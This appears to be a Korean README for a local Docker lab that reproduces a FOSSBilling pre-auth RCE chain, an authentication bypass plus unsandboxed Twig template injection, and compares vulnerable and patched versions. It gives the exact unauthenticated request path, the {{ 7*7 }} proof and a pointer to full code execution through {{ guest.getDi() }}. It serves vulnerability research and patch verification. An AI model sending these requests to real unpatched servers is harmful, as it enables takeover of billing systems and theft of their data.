
FOSSBilling 사전 인증 RCE 체인(CVE-2026-27604 인증 우회 + CVE-2026-28496 Twig SSTI)을 재현하는 Docker 랩으로, Python PoC와 패치된 비교 대상이 포함되어 있습니다.
이 저장소는 두 개의 연쇄 취약점으로 구성된 FOSSBilling 사전 인증 RCE 체인을 재현하고 검증하기 위한 로컬 Docker 랩을 포함합니다:
| CVE | 유형 | CVSS v4 | GHSA | 설명 |
|---|---|---|---|---|
| CVE-2026-27604 | 인증 우회 | 10.0 | GHSA-78x5-c8gw-8279 | API 역할 검사기에서 누락된 throw로 인해 관리자 엔드포인트가 인증되지 않은 호출자에게 노출됨 |
| CVE-2026-28496 | SSTI | 9.4 | GHSA-57mv-jm88-66jc | string_render API를 통한 샌드박스 미적용 Twig 템플릿 렌더링 |
FOSSBilling은 무료 오픈소스 청구 및 클라이언트 관리 플랫폼입니다. 버전 0.5.4부터 0.7.2까지 영향을 받습니다. FOSSBilling 0.8.0은 두 취약점 모두 패치합니다.
이 랩은 두 FOSSBilling 버전을 비교합니다:
| 서비스 | FOSSBilling 버전 | 목적 | URL |
|---|---|---|---|
| vuln | 0.7.2 | 취약한 대상 | http://localhost:8081 |
| patched | 0.8.0 | 패치된 대상 | http://localhost:8082 |
이 로컬 랩에서 검증된 체인은 다음과 같습니다:```text Unauthenticated HTTP POST → /api/system/system/string_render → Role "system" resolves to cron admin identity (CVE-2026-27604) → _tpl={{ 7*7 }} passed into unsandboxed Twig rendering (CVE-2026-28496) → Server evaluates the template expression → Returns {"result":"49","error":null}
패치된 대상(0.8.0)은 다음을 반환합니다:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
이 랩은 의도적으로 로컬 Docker 서비스로 범위가 제한되어 있습니다. 외부 시스템을 대상으로 하지 않으며, 웹 셸, 멀웨어, 지속성, 외부 콜백, 데이터베이스 덤핑, 파괴적인 페이로드를 포함하지 않습니다.
Pre-Auth RCE는 두 취약점이 함께 작동해야 합니다:```text ┌──────────────────────────────────────────────────────────────┐ │ STEP 1: Auth Bypass (CVE-2026-27604) │ │ │ │ URL path: /api/system/system/string_render │ │ Role "system" → cron admin identity │ │ Exception instantiated but never thrown │ │ → Unauthenticated caller gets admin API access │ ├──────────────────────────────────────────────────────────────┤ │ STEP 2: SSTI (CVE-2026-28496) │ │ │ │ Admin API method: System\Api\Admin::string_render() │ │ _tpl parameter → Twig createTemplate() → render() │ │ No sandbox enforcement │ │ → Server-side template evaluation │ ├──────────────────────────────────────────────────────────────┤ │ COMBINED: Pre-Auth RCE │ │ │ │ One unauthenticated HTTP POST │ │ → Admin access (auth bypass) │ │ → Template injection (SSTI) │ │ → getDi() exposes Pimple DI container │ │ → PDO, cache, extension manager, 40+ services reachable │ │ → Remote Code Execution │ └──────────────────────────────────────────────────────────────┘
이 랩은 안전한 산술 증명 `{{ 7*7 }}`을 사용하여 체인을 시연합니다. `getDi()`를 통한 전체 RCE 경로는 시연되지 않습니다.
## 검증된 사실
| 주장 | 증거 | 검증 방법 |
| ----- | -------- | ------------- |
| CVE-2026-27604는 FOSSBilling API 역할 처리의 인증 우회입니다. | GHSA-78x5-c8gw-8279: 역할 검사기에서 누락된 throw로 인해 /api/system/이 admin으로 해석될 수 있습니다. | PoC 실행: guest 경로는 거부되고, system 경로는 admin 결과를 반환합니다. |
| CVE-2026-28496은 FOSSBilling Twig 렌더링의 SSTI입니다. | GHSA-57mv-jm88-66jc: string_render가 샌드박스 없이 _tpl을 Twig createTemplate()에 전달합니다. | PoC 실행: 서버가 {{ 7*7 }}을 평가하고 49를 반환합니다. |
| 두 취약점 모두 FOSSBilling 0.5.4부터 0.7.2까지 영향을 미칩니다. | 공개 권고문이 영향을 받는 버전 범위를 명시합니다. | 취약 버전(0.7.2)과 패치된 버전(0.8.0) 대상 비교. |
| FOSSBilling 0.8.0은 두 취약점 모두 패치합니다. | 패치된 대상은 테스트된 엔드포인트에 대해 "Unknown API call"을 반환합니다. | 포트 8082에 대해 PoC 실행. |
| 인증 우회는 인증되지 않은 admin 접근을 제공합니다. | /api/guest/는 string_render를 거부하고, /api/system/은 인증 없이 결과를 반환합니다. | PoC의 Stage 1 실행. |
| SSTI는 공격자가 제어하는 템플릿을 평가합니다. | {{ 7*7 }}이 취약한 경로를 통해 49를 반환합니다. | PoC의 Stage 2 실행. |
| 체인은 Pre-Auth RCE를 가능하게 합니다. | 인증 우회 + SSTI = admin 컨텍스트를 가진 인증되지 않은 템플릿 주입. | 전체 체인 PoC 실행. |
| PoC는 HTTP 전용입니다. | poc.py는 HTTP POST 요청만 전송합니다. | poc/poc.py 검사. |
## 근본 원인 분석
### CVE-2026-27604: 인증 우회
FOSSBilling API는 URL 경로에서 역할을 해석합니다:```text
/api/:role/:module/:method
역할 검사기는 요청된 역할이 허용되는지 검증한다. 그러나 취약한 버전에서는 허용되지 않는 역할에 대한 예외가 인스턴스화되지만 결코 throw되지 않는다:```php // Simplified vulnerable pattern if (!in_array($role, $allowed_roles)) { new \Exception("Role not allowed"); // BUG: missing "throw" }
예외가 절대 발생하지 않기 때문에 검증이 조용히 통과됩니다. `system` 역할은 cron 관리자 ID로 해석되어, 인증되지 않은 모든 호출자에게 전체 관리자 API 접근 권한을 부여합니다.
보안 영향:```text
/api/guest/system/string_render → denied (guest role, no admin access)
/api/admin/system/string_render → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)
system 역할은 전체 관리자 권한을 가진 내부 cron 관리자 ID에 매핑됩니다.
string_render 관리자 API 메서드는 요청 데이터에서 _tpl을 받아 샌드박스 적용 없이 Twig 템플릿 렌더링 파이프라인으로 전달합니다:```php
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
`renderString()` 메서드는 `createTemplateFromString()`으로 폴스루됩니다:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
핵심 문제: createTemplate($tpl)는 공격자가 제어하는 문자열로부터 Twig 템플릿을 생성하고 샌드박스 제한 없이 렌더링한다. 이 템플릿은 템플릿 컨텍스트 내의 객체들에 접근할 수 있으며, 여기에는 getDi()를 노출하는 guest API 핸들러도 포함된다.
Input: POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
Step 1 (CVE-2026-27604): URL path → role = "system" → role checker: exception instantiated, NOT thrown → system role → cron admin identity → admin API access granted without authentication
Step 2 (CVE-2026-28496): Admin::string_render() → reads _tpl from request → Service::renderString() → createTemplateFromString() → Twig createTemplate("{{ 7*7 }}") → Twig evaluates the expression → returns "49"
Full RCE path (not demonstrated in this safe PoC): {{ guest.getDi() }} → returns the Pimple DI container → PDO, cache, password hashing, extension manager, 40+ services → SQL execution, credential extraction, code execution
## 소스 패치 요약
FOSSBilling 0.8.0은 두 가지 취약점을 모두 해결합니다:
**인증 우회 수정 (CVE-2026-27604):**
역할 검사기가 이제 허용되지 않은 역할에 대해 예외를 올바르게 발생시킵니다.
**SSTI 수정 (CVE-2026-28496):**
템플릿 렌더링이 샌드박스 처리된 렌더러를 통해 라우팅됩니다:```php
$rendered = SandboxedStringRenderer::render(
$twig,
$tpl,
$vars,
$errorMessage
);
샌드박스 정책은 기본적으로 메서드 및 속성 접근을 차단합니다:```php $methods = []; $properties = [];
이 랩에서 테스트한 공개 API 경로의 경우, FOSSBilling 0.8.0은 테스트한 엔드포인트를 전혀 노출하지 않습니다:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
소스 수준 회귀 검사는 더 깊은 수정을 확인합니다:```text FOSSBilling 0.7.2: {{ guest.getDi() }} → DI_VISIBLE FOSSBilling 0.8.0: {{ guest.getDi() }} → blocked by Twig sandbox policy
## 랩 아키텍처```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
| 서비스 | 구성 요소 | 버전 / 역할 |
|---|---|---|
| vuln | FOSSBilling | 0.7.2 취약한 대상 |
| patched | FOSSBilling | 0.8.0 패치된 대상 |
| vuln-db | MariaDB | 취약한 대상용 데이터베이스 |
| patched-db | MariaDB | 패치된 대상용 데이터베이스 |
| installer-vuln | curl 사이드카 | 취약한 대상 자동 설치 |
| installer-patched | curl 사이드카 | 패치된 대상 자동 설치 |